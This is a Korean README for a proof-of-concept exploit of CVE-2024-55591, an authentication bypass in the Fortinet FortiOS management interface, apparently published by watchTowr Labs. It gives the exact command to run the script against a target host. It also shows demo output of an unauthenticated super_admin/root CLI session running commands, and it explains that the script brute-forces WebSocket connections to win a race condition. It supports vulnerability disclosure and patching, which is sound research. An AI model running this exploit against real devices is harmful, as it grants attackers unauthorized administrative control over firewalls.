CVE-2024-55591

Fortinet FortiOS 인증 우회 개념 증명(PoC)

기술적 세부 정보는 블로그 게시글에서 확인하세요.

실행 데모

python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl
             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
     \ \/ \/ \__  \    ___/ ___\|  |  \\|    | /  _ \ \/ \/ \_  __ \
      \     / / __ \|  | \  \\___|   Y  |    |(  <_> \     / |  | \
       \/\_/ (____  |__|  \\\\___  |___|__|__  | \\__  / \\/\_/  |__|   
                  \\          \\     \\                              

        CVE-2024-55591.py
        (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr
        
          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2024-55591]

[*] Checking if target is a FortiOS Management interface
[*] Target is confirmed as a FortiOS Management interface
[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337

Output from server: �
get system status

Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
Unknown action 0

FAKESERIAL # 
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
Virus-DB: 1.00000(2018-04-09 18:07)

설명

이 스크립트는 FortiOS(FortiGate) 관리 인터페이스를 대상으로 하는 CVE-2024-55591의 개념 증명(PoC)입니다. WebSocket 연결을 브루트포싱하여 인증 우회와 함께 레이스 컨디션을 생성하면, 인증 없이 FortiOS CLI 명령을 전송할 수 있습니다. 자세한 내용은 [블로그 게시글] (https://labs.watchtowr.com/)에서 확인할 수 있습니다.

영향을 받는 버전

FortiOS 7.0.0 ~ 7.0.16
FortiProxy 7.0.0 ~ 7.0.19
FortiProxy 7.2.0 ~ 7.2.12

자세한 내용은 Fortinet 권고를 참조하세요.

참고

이 스크립트는 사전 점검에서 인스턴스가 FortiGate 관리 인터페이스인지 확인하므로 FortiProxy와 함께 작동하도록 설계되지 않았습니다. 다만 기반 기술은 영향을 받는 FortiProxy 장치에도 적용될 수 있다고 가정합니다.

watchTowr Labs 팔로우

최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요.

인기

fortios-auth-bypass-poc-CVE-2024-55591